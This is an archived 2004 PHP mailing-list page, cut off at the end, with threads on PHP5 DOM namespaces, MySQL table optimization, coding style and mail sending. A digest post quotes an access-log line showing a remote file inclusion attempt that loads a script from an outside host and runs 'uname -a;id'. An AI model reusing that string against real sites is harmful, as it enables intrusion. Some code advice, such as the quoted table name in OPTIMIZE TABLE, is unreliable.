[PHP] Re: [PHP-XML-DEV] Re: [PHP] PHP5: ext/dom - set namespace of node manually

2004-02-16 Thread Vivian Steller
Christian Stocker wrote:

> ...
> Vivian, it's not possible the set the namespace according to the W3C
> standard, except with createElementNS(). As Adam said, in PHP 4, there
> was the option set_namespace, which isn't ported to PHP5 (yet).
> 
> Maybe we should port that function as well, to allow some deeper level
> manipulation of the namespaces...
> 
> Currently, I don't have a solution to your problem, except porting
> setNamespace to PHP5...
> 
> chregu
> 

Porting the setNamespace function to PHP5 would be nice. Another solution
could be the possibility to append a namespace-node (is the
domnamespacenode class currently used by any functions?) or the
setAttribute checks wether some "xmlns"/"xmlns:" attribute is set and
updates namespaceUri itself... would be more W3C standard compliant.

without the functionality to set the namespace it will never be possible to
overwrite the createElementNS of domdocument, as the following example
shows:

setNamespace("http://...";);
// -> maybe you get into trouble with "NO MODIFICATION ALLOWED 
ERROR"!!
//because node isn't appended

// or something like
$element->setAttributeNS("http://www.w3c.org/2000/xmlns";, 
"xmlns",
"http://mydomain.de/";);
// -> maybe you get into trouble with "NO MODIFICATION ALLOWED 
ERROR"!!
//because node isn't appended

return $element;
}
}
?>

i think because of the problems with the MODIFICATION ERRORS while node
isn't appended, it would be best if you could define the node-namespace
with the third argument of DomElement::__construct($name, $value, $uri =
"defaultUri")...

it would be VERY nice if you think about such solutions...

thanks a lot,
vivi

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Test, trying to send to NEWSGROUP

2004-02-16 Thread Jon Arne Jørgensen


--
best regards,
Jon Arne
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] optimizing tables

2004-02-16 Thread Diana Castillo
is there a way to optimize individual tables in a php script?


--
Diana Castillo
Global Reservas, S.L.
C/Granvia 22 dcdo 4-dcha
28013 Madrid-Spain
Tel : 00-34-913604039 ext 214
Fax : 00-34-915228673
email: [EMAIL PROTECTED]
Web : http://www.hotelkey.com
  http://www.destinia.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] optimizing tables

2004-02-16 Thread Daniel Perez Clavero
Hola Diana,

$optimize_tabla_acl = "OPTIMIZE TABLE '$tbl_acl'";
mysql_query($optimize_tabla_acl,$conexion) or die("No he podido
optimizar la tabla.");

Salu2

-Original Message-
From: Diana Castillo [mailto:[EMAIL PROTECTED] 
Sent: lunes, 16 de febrero de 2004 10:38
To: [EMAIL PROTECTED]
Subject: [PHP] optimizing tables


is there a way to optimize individual tables in a php script?


--
Diana Castillo
Global Reservas, S.L.
C/Granvia 22 dcdo 4-dcha
28013 Madrid-Spain
Tel : 00-34-913604039 ext 214
Fax : 00-34-915228673
email: [EMAIL PROTECTED]
Web : http://www.hotelkey.com
  http://www.destinia.com

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re[2]: [PHP] isset() question

2004-02-16 Thread Richard Davey
Hello Jason,

Sunday, February 15, 2004, 7:44:06 PM, you wrote:

>> I feel the book you're learning from might not be the best out there!
>> Especially as it uses the horrible if : else : endif notation,
>> includes code on the same line as the PHP tags themselves 

JW> What is horrible about that style? IMO doing this:

Consistency. The majority of code you can download will not use this
notation. Although PHP coding standards are subjective as best, you
still won't find any advocating this technique. Pick a style and stick
to it. It's usually best if that style at least matches something like
the official PHP documentation.

JW> 

To me this is a mess and I would never advocate this style. Code on
the same line as a php delimiter does not make for easy reading.

JW> looks a lot neater than:

JW>if ($something) {

I wouldn't have done it like that either, although its closer.



JW> But whichever style a book chooses to use should not impact on one's decision
JW> as to whether it is a good book or not.

Of course it does, especially when combined with the other factors I
listed. If the book you're learning from doesn't teach good coding
practise - what will? It's not something you're "born" with.

-- 
Best regards,
 Richard Davey
 http://www.phpcommunity.org/wiki/296.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] CDONTS Object

2004-02-16 Thread Juan Torres
Hello,

I'm trying send emails from PHP with IIS (form Win32).

With ASP, I used CDONTS component.

How can I use CDONTS component from PHP?

Thanks very much.
Juan Torres.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



php-general Digest 16 Feb 2004 10:59:52 -0000 Issue 2593

2004-02-16 Thread php-general-digest-help

php-general Digest 16 Feb 2004 10:59:52 - Issue 2593

Topics (messages 177752 through 177784):

Re: Simple while loop skipping first row of array
177752 by: André Cerqueira

Re: File Injection Bug
177753 by: André Cerqueira

PHP and Word...
177754 by: Russell P Jones
177763 by: Adam Bregenzer

$REMOTE_HOST in email subject
177755 by: Birkholz, James
177759 by: Adam Bregenzer
177760 by: Birkholz, James

Re: ext/dom - set namespace of node manually
177756 by: Vivian Steller
177757 by: Adam Bregenzer

PHP Newbie Database Records?
177758 by: PETCOL
177762 by: Ryan A
177765 by: David Robley
177766 by: André Cerqueira
177767 by: PETCOL
13 by: André Cerqueira
16 by: John Nichel

Re: php as cgi with static libraries?
177761 by: Adam Bregenzer

PHP Kerberos  examples/tutorials
177764 by: Pablo Gosse

PHP REDIRECT
177768 by: ajay
10 by: Binay
15 by: Chris
17 by: John Nichel

error : session_start
177769 by: ajay
11 by: Binay
12 by: Tom Rogers

Re:[SOLVED] PHP Newbie Database Records?
14 by: PETCOL

Re: [PHP-XML-DEV] Re: [PHP] PHP5: ext/dom - set namespace of node manually
18 by: Christian Stocker
19 by: Vivian Steller

Test, trying to send to NEWSGROUP
177780 by: Jon Arne Jørgensen

optimizing tables
177781 by: Diana Castillo
177782 by: Daniel Perez Clavero

Re: isset() question
177783 by: Richard Davey

CDONTS Object
177784 by: Juan Torres

Administrivia:

To subscribe to the digest, e-mail:
[EMAIL PROTECTED]

To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]

To post to the list, e-mail:
[EMAIL PROTECTED]


--
--- Begin Message ---
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
just fixing something hehe

echo "";
$result = mysql_query("select * from cats order by title");
if ($result) {
  while ($c = mysql_fetch_array($result)) {
echo "$c[title]";
  }
}
echo "";


André cerqueira wrote:
try:

echo "";
$result = mysql_query("select * from cats order by title");
while ($c = mysql_fetch_array($result)) {
  echo "$c[title]";
}
echo "";


Verdon Vaillancourt wrote:

I'm not sure I phrased my subject well, but...

The following is just to build a select menu from a table query result 
set.
It sort of works, but doesn't return the first row in the result set, 
ie if
I have the following rows in the table 'cats';

id  title
==
1   Pears
2   Oranges
3   Apples
4   Bananas
echo "";
$result = mysql_query("select * from cats order by title");
$categories = mysql_fetch_array($result);
if ($categories) {
while ($c = mysql_fetch_array($result)) {
echo "$c[title]";
}
}
echo "";
The resulting select menu will only include Bananas, Oranges, Pears.

Am I missing something terribly obvious to one less newbie than me?

TIA, Verdon

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMAYCaxdA/5C8vH8RAsXOAKCl/DfLLO9tC+4nk4S5a0g1pgSVfwCeIsiG
MOflQLGII4Aojg1qF4hHHn0=
=RYbS
-END PGP SIGNATURE-
--- End Message ---
--- Begin Message ---
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
on index.php, are you including directly the file passed by content?
if you are vulnerable, the autor of your index.php is the one to blame, 
not php hehe
if safe mode is on, you may be immune to this asu.txt, but dont relly on 
it against everything else that can be done



BiŽ?řáÎë?ërĎčĘ wrote:

Hello,

  I found very interesting messages in my access log:

  http://www.cvok.cz/index.php?content=http://linkhacker.info/ilalang23/asu.txt?&cmd=uname%20-a;id;

  It looks as trying of hack. Am I immune, if I have safe mod (because
  asu.txt is php script, which runs function system()).
  thanks

  Radek

-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.4 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFAMAfuaxdA/5C8vH8RAq1hAKDBlEeAf9Rt/pMos6ZAc6UMuYfr4gCeIbko
6wiEccMHlqv/Q0L+nPwUiNM=
=/+FK
-END PGP SIGNATURE-
--- End Message ---
--- Begin Message ---
I need to use PHP to pull the first page from a Word Document and then
print it to the screen. It doesnt have to be fancy, so even if just the
text is pulled that would be fine (although formatting would be grand
too).

Anyone got any ideas? I cant use the COM object since Im running this on a
linux machine, and I have limited access to installation of 3rd party
software because I am using shared hosting. Classes would rock, or
anything really.

I was thinking about converting it to text somehow, and then just pulling
the first 50 lines or so - but I dont know how to convert it to text...

What do you all think?

Russ Jones
--- End Message ---
--- Begin Message ---

Re: [PHP] ODBC with SQL Server

2004-02-16 Thread Juan Torres
Hi,

Functions mssql_* and odbc_* don't allow write/read unicode fields.

But ODBTP Extension allows it. The url is: http://odbtp.sourceforge.net/.

Greetings,
Juan Torres.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: [PHP-XML-DEV] Re: [PHP] PHP5: ext/dom - set namespace of node manually

2004-02-16 Thread Rob Richards
> Porting the setNamespace function to PHP5 would be nice. Another solution
> could be the possibility to append a namespace-node (is the
> domnamespacenode class currently used by any functions?) or the
> setAttribute checks wether some "xmlns"/"xmlns:" attribute is set and
> updates namespaceUri itself... would be more W3C standard compliant.

The namespace node isnt really used with any functions. It is also a
"special" node as its not a standard node type in libxml.
Via the specs, it doesnt really exist, but it can be returned via xpath,
which is why dom manipulates the libxml namespace into a returnable type,
which a few of the properties are allowed to work with it (otherwise either
dom would either have to prevent xpath from returning it or let the system
crash when its returned - neither of these options was acceptable - thus
this special node).

As far as setAttributeNS goes. This function actually does do checks,
however it doesnt put the element into the current namespace (which possibly
may be a logic bug - namespaces internally are so damned confusing).

Using the syntax:

$node->setAttributeNS("http://www.w3.org/2000/xmlns/";, "xmlns:b",
"http://www.somedomain.de/";);

This sets the definition on the element but doesnt put that node into the
namespace, it just puts the namespace into the scope of the node, so that
elements added with createelementns and appended as children of $node can be
placed within the namespace and would be prefixed with "b".

Now here is the question, if a namespace is not associated on the element at
that point, should the above set the element into the new namespace? (Easy
enough to implement, but really have no clue if this is the proper logic or
not). Any namespace gurus around here?

Rob

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] CDONTS Object

2004-02-16 Thread Stuart
Juan Torres wrote:
I'm trying send emails from PHP with IIS (form Win32).

With ASP, I used CDONTS component.

How can I use CDONTS component from PHP?
RTFM! http://php.net/mail

--
Stuart
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] CDONTS Object

2004-02-16 Thread Richard Davey
Hello Juan,

Monday, February 16, 2004, 11:03:09 AM, you wrote:

JT> I'm trying send emails from PHP with IIS (form Win32).

The IIS part of the equation is irrelevant as the web server doesn't
send the mail anyway.

JT> With ASP, I used CDONTS component.
JT> How can I use CDONTS component from PHP?

You don't need it. See the mail part of the PHP manual.

Just one of the many reasons why PHP is far superior to ASP ;)

-- 
Best regards,
 Richard Davey
 http://www.phpcommunity.org/wiki/296.html

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: CDONTS Object

2004-02-16 Thread Manuel Lemos
Hello,

On 02/16/2004 08:03 AM, Juan Torres wrote:
I'm trying send emails from PHP with IIS (form Win32).

With ASP, I used CDONTS component.

How can I use CDONTS component from PHP?
If you want to send messages with attachments or in HTML with embedded 
images, etc.., you may want to try this class that has a subclass to 
send the messages via SMTP:

http://www.phpclasses.org/mimemessage

--

Regards,
Manuel Lemos
PHP Classes - Free ready to use OOP components written in PHP
http://www.phpclasses.org/
PHP Reviews - Reviews of PHP books and other products
http://www.phpclasses.org/reviews/
Metastorage - Data object relational mapping layer generator
http://www.meta-language.net/metastorage.html
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] mail()

2004-02-16 Thread Juan Torres
Hi,

I have a problem with mail() function. I'm using PHP with Windows 2000
Professional and Internet Information Server 5.0.

My php code is:
mail("[EMAIL PROTECTED]", "Prueba Envio Email PHP", "Linea 1\nLinea 2\nLinea
3");

And my browser shows:
Warning: mail(): SMTP server response: 550 5.7.1 Unable to relay for
[EMAIL PROTECTED] in
c:\inetpub\wwwroot\projects_php\testing\email\default.php on line 21


Why? Can anybody help me?

Thanks!
Juan Torres.

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Re: [PHP-XML-DEV] Re: [PHP] PHP5: ext/dom - set namespace of node manually

2004-02-16 Thread Christian Stocker


On 2/16/04 12:07 PM, Rob Richards wrote:

Porting the setNamespace function to PHP5 would be nice. Another solution
could be the possibility to append a namespace-node (is the
domnamespacenode class currently used by any functions?) or the
setAttribute checks wether some "xmlns"/"xmlns:" attribute is set and
updates namespaceUri itself... would be more W3C standard compliant.


The namespace node isnt really used with any functions. It is also a
"special" node as its not a standard node type in libxml.
Via the specs, it doesnt really exist, but it can be returned via xpath,
which is why dom manipulates the libxml namespace into a returnable type,
which a few of the properties are allowed to work with it (otherwise either
dom would either have to prevent xpath from returning it or let the system
crash when its returned - neither of these options was acceptable - thus
this special node).
As far as setAttributeNS goes. This function actually does do checks,
however it doesnt put the element into the current namespace (which possibly
may be a logic bug - namespaces internally are so damned confusing).
Using the syntax:

$node->setAttributeNS("http://www.w3.org/2000/xmlns/";, "xmlns:b",
"http://www.somedomain.de/";);
This sets the definition on the element but doesnt put that node into the
namespace, it just puts the namespace into the scope of the node, so that
elements added with createelementns and appended as children of $node can be
placed within the namespace and would be prefixed with "b".
Now here is the question, if a namespace is not associated on the element at
that point, should the above set the element into the new namespace? (Easy
enough to implement, but really have no clue if this is the proper logic or
not). Any namespace gurus around here?
IMHO, that would be very confusing.

I liked the idea by vivian with a third optional namespaceURI argument 
for the element object, so that at least you can use your own extended 
classes for that.

And maybe we still need a ->setNamespaceURI method, even if W3C didnt 
think of that ;)

chregu

Rob

--
christian stocker | Bitflux GmbH | schoeneggstrasse 5 | ch-8004 zurich
phone +41 1 240 56 70 | mobile +41 76 561 88 60  | fax +41 1 240 56 71
http://www.bitflux.ch  |  [EMAIL PROTECTED]  |  gnupg-keyid 0x5CE1DECB
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] mail()

2004-02-16 Thread Chris Hayes
At 12:26 16-2-04, you wrote:
Hi,

I have a problem with mail() function. I'm using PHP with Windows 2000
Professional and Internet Information Server 5.0.
My php code is:
mail("[EMAIL PROTECTED]", "Prueba Envio Email PHP", "Linea 1\nLinea 2\nLinea
3");
And my browser shows:
Warning: mail(): SMTP server response: 550 5.7.1 Unable to relay for
[EMAIL PROTECTED] in
I'ld focus on the SMTP server. It probably is configured to prevent abuse 
by spammers. Spammers like to make fake From: addresses. Contact your 
Internet Service Provider if the SMTP server is on their machine. Ask them 
if they can allow PHP mail requests from your site number without this 
limitation. If you pay for the server, they should allow that.
If your own computer is running all day, consider installing your own SMTP 
server (make sure to limit the IP addresses it accepts or you will be 
abused by spammers yourself).

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re: mail()

2004-02-16 Thread Manuel Lemos
Hello,

On 02/16/2004 08:26 AM, Juan Torres wrote:
I have a problem with mail() function. I'm using PHP with Windows 2000
Professional and Internet Information Server 5.0.
My php code is:
mail("[EMAIL PROTECTED]", "Prueba Envio Email PHP", "Linea 1\nLinea 2\nLinea
3");
And my browser shows:
Warning: mail(): SMTP server response: 550 5.7.1 Unable to relay for
[EMAIL PROTECTED] in
c:\inetpub\wwwroot\projects_php\testing\email\default.php on line 21
Why? Can anybody help me?
This means that you need to authenticate to send messages using that 
server. The mail function does not support authentication.

You may want to try  this class that comes with a wrapper function named 
smtp_mail() that can replace the mail() function but also let you 
specify the user name and password for authenticating with your SMTP server:

http://www.phpclasses.org/mimemessage

You also need this:

http://www.phpclasses.org/smtpclass

--

Regards,
Manuel Lemos
PHP Classes - Free ready to use OOP components written in PHP
http://www.phpclasses.org/
PHP Reviews - Reviews of PHP books and other products
http://www.phpclasses.org/reviews/
Metastorage - Data object relational mapping layer generator
http://www.meta-language.net/metastorage.html
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] Re: [PHP-XML-DEV] Re: [PHP] PHP5: ext/dom - set namespace of node manually

2004-02-16 Thread Rob Richards
From: Christian Stocker

> > $node->setAttributeNS("http://www.w3.org/2000/xmlns/";, "xmlns:b",
> > "http://www.somedomain.de/";);
> >

> IMHO, that would be very confusing.
>
> I liked the idea by vivian with a third optional namespaceURI argument
> for the element object, so that at least you can use your own extended
> classes for that.
>
> And maybe we still need a ->setNamespaceURI method, even if W3C didnt
> think of that ;)

After thinking about it some more I started to think about it the same way.
One can always then use $node->prefix = "xyz" to set the prefix (if needed)
for the initial namespace delcaration.
It probably has to wait until 5.1 though since its so close to the release.

Rob

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] cpdf_import_jpeg() doesn't show input

2004-02-16 Thread janbro
Hi, 

I've got ClibPDF working soemhow,
Only the cpdf_import_jpeg() function does not produce any output at all.
There is no error message. 

I called the function like this:
pdf = cpdf_open(0);
cpdf_page_init($cpdf, 1, 0, 842, 594, 1.0);
cpdf_import_jpeg($pdf,"image.jpg",10,10,0,300,100,0,0,1);
cpdf_finalize($pdf);
Header("Content-type: application/pdf");
cpdf_output_buffer($pdf);cpdf_close($pdf);

The pdf-file does not show anything.

If I google All I find is the manual 10.000 times but no answer to my problemes, 
please 
help

__
Nachrichten, Musik und Spiele schnell und einfach per Quickstart im 
WEB.DE Screensaver - Gratis downloaden: http://screensaver.web.de/?mc=021110

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] Problem with XSLT parser

2004-02-16 Thread Peter Billen
Hello group,

I am having problems to transform xml document with xslt_process().

This is my code:



test.xml:




Peter Billen
16



test.xsl:


http://www.w3.org/1999/XSL/Transform";>



test2.xsl:


http://www.w3.org/1999/XSL/Transform";>

DUMMY



It gives the following error:

Warning: Sablotron error on line 3: cannot open file 'test.xsl/test2.xsl' in
E:\htdocs\test.php on line 5

So I believe the  in test.xsl is not working properly. If I
remove that line (so I don't use test2.xsl), it works perfect, it prints out
Peter Billen 16 (it uses the built-in rules).

And my second question is: why is the home path of the XSLT parser
c:\program files\apache\bin and not the www-home directory I set in
httpd.conf (e:\htdocs in my case)

Thanks all,

--
Peter

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] include a file

2004-02-16 Thread Angelo Zanetti
Hi,

is it possible to include a file from when a select's onChange is called ie:

 

if its possible what would be the best way to do this??

thanx


Disclaimer 
This e-mail transmission contains confidential information,
which is the property of the sender.
The information in this e-mail or attachments thereto is 
intended for the attention and use only of the addressee. 
Should you have received this e-mail in error, please delete 
and destroy it and any attachments thereto immediately. 
Under no circumstances will the Cape Technikon or the sender 
of this e-mail be liable to any party for any direct, indirect, 
special or other consequential damages for any use of this e-mail.
For the detailed e-mail disclaimer please refer to 
http://www.ctech.ac.za/polic or call +27 (0)21 460 3911

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] isset() question

2004-02-16 Thread Ford, Mike [LSS]
On 15 February 2004 18:30, Richard Davey wrote:

> I feel the book you're learning from might not be the best out there!
> Especially as it uses the horrible if : else : endif notation,

I'd have to disagree with you on that one -- personally I think that's a very elegant 
and useful syntax, and all the scripts written for my applications use it.

However, this is a matter of personal opinion, and the choice between the colonified 
syntax and the various brace styles should be down to what suits *you* best.

Cheers!

Mike

-
Mike Ford,  Electronic Information Services Adviser,
Learning Support Services, Learning & Information Services,
JG125, James Graham Building, Leeds Metropolitan University,
Beckett Park, LEEDS,  LS6 3QS,  United Kingdom
Email: [EMAIL PROTECTED]
Tel: +44 113 283 2600 extn 4730  Fax:  +44 113 283 3211 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] include a file

2004-02-16 Thread Marek Kilimajer
Angelo Zanetti wrote:

Hi,

is it possible to include a file from when a select's onChange is called ie:

 

if its possible what would be the best way to do this??

thanx

It is, but you have to reload the page and pass the filename as request 
variable:



$allowed_files = array('editBottom.inc' => 'Bottom', 'editTop.inc' => 
'Top');

?>



foreach($allowed_files as $key => $name) echo "$name\n";
?>





HTH

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


RE: [PHP] include a file

2004-02-16 Thread Angelo Zanetti
thanx Im going to rather submit the same file and use validation to display
the bottom in the same page ( part of the same page)



-Original Message-
From: Marek Kilimajer [mailto:[EMAIL PROTECTED]
Sent: Monday, February 16, 2004 4:07 PM
To: [EMAIL PROTECTED]
Cc: [EMAIL PROTECTED]
Subject: Re: [PHP] include a file


Angelo Zanetti wrote:

> Hi,
>
> is it possible to include a file from when a select's onChange is called
ie:
>
>  
>
> if its possible what would be the best way to do this??
>
> thanx
>

It is, but you have to reload the page and pass the filename as request
variable:

 'Bottom', 'editTop.inc' =>
'Top');

?>


 $name) echo "$name\n";
?>






HTH

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Disclaimer 
This e-mail transmission contains confidential information,
which is the property of the sender.
The information in this e-mail or attachments thereto is 
intended for the attention and use only of the addressee. 
Should you have received this e-mail in error, please delete 
and destroy it and any attachments thereto immediately. 
Under no circumstances will the Cape Technikon or the sender 
of this e-mail be liable to any party for any direct, indirect, 
special or other consequential damages for any use of this e-mail.
For the detailed e-mail disclaimer please refer to 
http://www.ctech.ac.za/polic or call +27 (0)21 460 3911

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: Re[2]: [PHP] isset() question

2004-02-16 Thread Jason Wong
On Monday 16 February 2004 18:14, Richard Davey wrote:

> Consistency. 

With what? With whose idea of style/formatting?

I doubt you will find consistency in the real between different 
programmers/organisations. If such consistency was there then PHP would've 
have only had to support a single formatting style/syntax.

> The majority of code you can download will not use this
> notation. 

As I was trying to point out in my example, that particular notation is most 
useful where you wish to output a block of raw HTML (just to be explicit, 
without the use of echo (or print)) with an if-then-else conditional or part 
of a while-loop or similar construct.

> Although PHP coding standards are subjective as best,
I think the same could be said for many other programming languages. Only 
where the language does not allow any deviations from rigid formatting rules 
would you not have arguments/opinions over style of coding.

> you still won't find any advocating this technique. Pick a style and stick
> to it. It's usually best if that style at least matches something like
> the official PHP documentation.
>
> JW> 
>
> To me this is a mess and I would never advocate this style. Code on
> the same line as a php delimiter does not make for easy reading.

To me the alternative of escaping in and out of php over 3 or more lines is 
even more of a mess.

> JW> But whichever style a book chooses to use should not impact on one's
> decision JW> as to whether it is a good book or not.
>
> Of course it does, especially when combined with the other factors I
> listed.

It should be judged by its substance (ie the other factors) and not style. All 
things being equal (ie the other factors) then yes by all means judge by 
style. But then who is the arbiter of style? As you said yourself (and I 
fully agree) it is subjective.

> If the book you're learning from doesn't teach good coding
> practise - what will? It's not something you're "born" with.

Good coding techniques/practices/styles have their own books.

Plus if you already have a programming background and you're just getting into 
PHP I doubt whether the coding style used in the book will have any influence 
on your already established coding style.

Just as you can't judge a book by its cover, you should not judge a 
programming language book by its coding style.

-- 
Jason Wong -> Gremlins Associates -> www.gremlins.biz
Open Source Software Systems Integrators
* Web Design & Hosting * Internet & Intranet Applications Development *
--
Search the list archives before you post
http://marc.theaimsgroup.com/?l=php-general
--
/*
Q: How do you fix all Windows bugs at once?
A: Type DELTREE /Y C:\WINDOWS
*/

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: Apache+modssl+php problem??? possible IE bug?

2004-02-16 Thread Scott Fletcher
I don't think it is a PHP issue because I don't have this problem with
Mozilla browser.  It more had to do with IE and worse, it is only a random
occurance.

Scott F.

"Jason Wong" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> On Saturday 14 February 2004 05:44, Scott Fletcher wrote:
> > I mean, I sometime found a few POST data had incorrectly went over to
the
> > GET data.  I don't know it's a PHP problem but more of a web browser
> > problem.
>
> If something like that really is happening then it seems like a pretty
serious
> bug. Do you have sample code and version numbers?
>
> -- 
> Jason Wong -> Gremlins Associates -> www.gremlins.biz
> Open Source Software Systems Integrators
> * Web Design & Hosting * Internet & Intranet Applications Development *
> --
> Search the list archives before you post
> http://marc.theaimsgroup.com/?l=php-general
> --
> /*
> In a consumer society there are inevitably two kinds of slaves:
> the prisoners of addiction and the prisoners of envy.
> */

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



[PHP] problems with spam

2004-02-16 Thread mayo
Has anybody else been getting spammed with penis and breast enlargeners to
their listserv email?

I use [EMAIL PROTECTED] solely for listservs and in the past week I've
started getting 5-10 spams a day.

Gil Midonnet

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] Re: phps and iis

2004-02-16 Thread Scott Fletcher
Well, the instruction at macromedia website is not accurate.  It is only for
IIS 5 and below.  IIS 6 used an increased security feature because of
plaquing problem with security hole so, it use a complete lockdown on lot of
things.  You can safely follow the instruction at macromedia website for
installing PHP but it doesn't include one thing for IIS 6 and up.  That is
to add the web service extension.  I'll post the URL link here.  Don't
bother with some of the instruction about php.ini and stuffs...  Just look
at Web Service Extension.  Very useful, it even include pictures...

http://s92192454.onlinehome.us/PHP_on_windows_under_IIS.html

This one fix the problem for me.  I had already started to move slowly away
from using IIS 6 to the Apache because of this lack of documentation
everywhere over the time.

Scott F.

"Zerof" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> Try starting your browser with:
> http://localhost/
> -
> zerof
> http://www.educar.pro.br/PAGES/
> -
> "Anders Gjermshus" <[EMAIL PROTECTED]> escreveu na mensagem
> news:[EMAIL PROTECTED]
> > I have installed php on my iis server. What I'm looking for is how to
get
> > php sources to work on IIS. Like phps files.
> 

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



Re: [PHP] problems with spam

2004-02-16 Thread Stuart
mayo wrote:
Has anybody else been getting spammed with penis and breast enlargeners to
their listserv email?
Always.

I use [EMAIL PROTECTED] solely for listservs and in the past week I've
started getting 5-10 spams a day.
What did you expect when you posted to a public mailing list?

--
Stuart
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] problems with spam

2004-02-16 Thread Marek Kilimajer
mayo wrote:

Has anybody else been getting spammed with penis and breast enlargeners to
their listserv email?
I use [EMAIL PROTECTED] solely for listservs and in the past week I've
started getting 5-10 spams a day.
Gil Midonnet

Set up a filter that will delete all emails not containing [PHP], 
[another-list] etc in the subject line. And you are done :)

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Re: [PHP] problems with spam

2004-02-16 Thread Stuart
Stuart wrote:
mayo wrote:
What did you expect when you posted to a public mailing list?
Oh, and it's worth mentioning that you've made that address an easier 
target by including it in the body of the message. It means that email 
harvesters that miss the encoded ones in archives will probably get it 
now. For example: 
http://marc.theaimsgroup.com/?l=php-general&m=107694254623812&w=2

HAND! :)

--
Stuart
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] How to access $_GET while using mod_rewrite

2004-02-16 Thread Merlin
Hi there,

I am using mod_rewrite which makes it impossible to use the $_GET function.

However, it should be possible to do the same with a function.

I figured out how to get the parameter string out of the url, now I am 
stuck in splitting those values into associated array elements.

Here is what it looks like:
cc=br&pr=04&lcarray=1&idarray=816083
Has anybody an idea on how to put this into an array to make it 
accesible like this:

$para[cc]
$para[pr]
etc.
Thanx for any ideas on that,

Merlin

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[PHP] PHP + Oracle and UK locale

2004-02-16 Thread Harry Sufehmi
(Redirected by "Harry Sufehmi" <[EMAIL PROTECTED]>)

First sorry if this email was already received by you, I sent this originally on the 
weekend but didn't seem to be showing up in the list, so trying to repost again today.

I've setup phpBB in my company using Oracle as its backend. Everyone's happy with it, 
but there's one small annoyance - the pound sign (british currency symbol) kept on 
getting stored as hash sign (#).

Anyone encountered this problem before?

I've tried a lot of things - searching on web and newsgroups (not easy when everyone 
else referred to pound sign and it turned out to be the hash sign..!), installed the 
latest version of PHP, setting up the proper environment variable (especially 
NLS_LANG="ENGLISH.UNITED KINGDOM.UTF8") in .profile & httpd.conf & using putenv() in 
the script itself, and so on - still no joy.

The database itself uses UTF8 charset and AMERICA.AMERICAN locale.

If I use sqlplus, it's correctly entered as the pound sign. But using a PHP test 
script, it was still fine just before it's submitted to Oracle, INSERT it, then it's 
suddenly turned into hash.

Please feel free to enlighten me on this matter.


Thanks!
Harry

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php



RE: [PHP] How to access $_GET while using mod_rewrite

2004-02-16 Thread Ford, Mike [LSS]
On 16 February 2004 15:19, Merlin wrote:

> Hi there,
> 
> I am using mod_rewrite which makes it impossible to use the $_GET
> function. 
> 
> However, it should be possible to do the same with a function.
> 
> I figured out how to get the parameter string out of the url, now I am
> stuck in splitting those values into associated array elements.
> 
> Here is what it looks like:
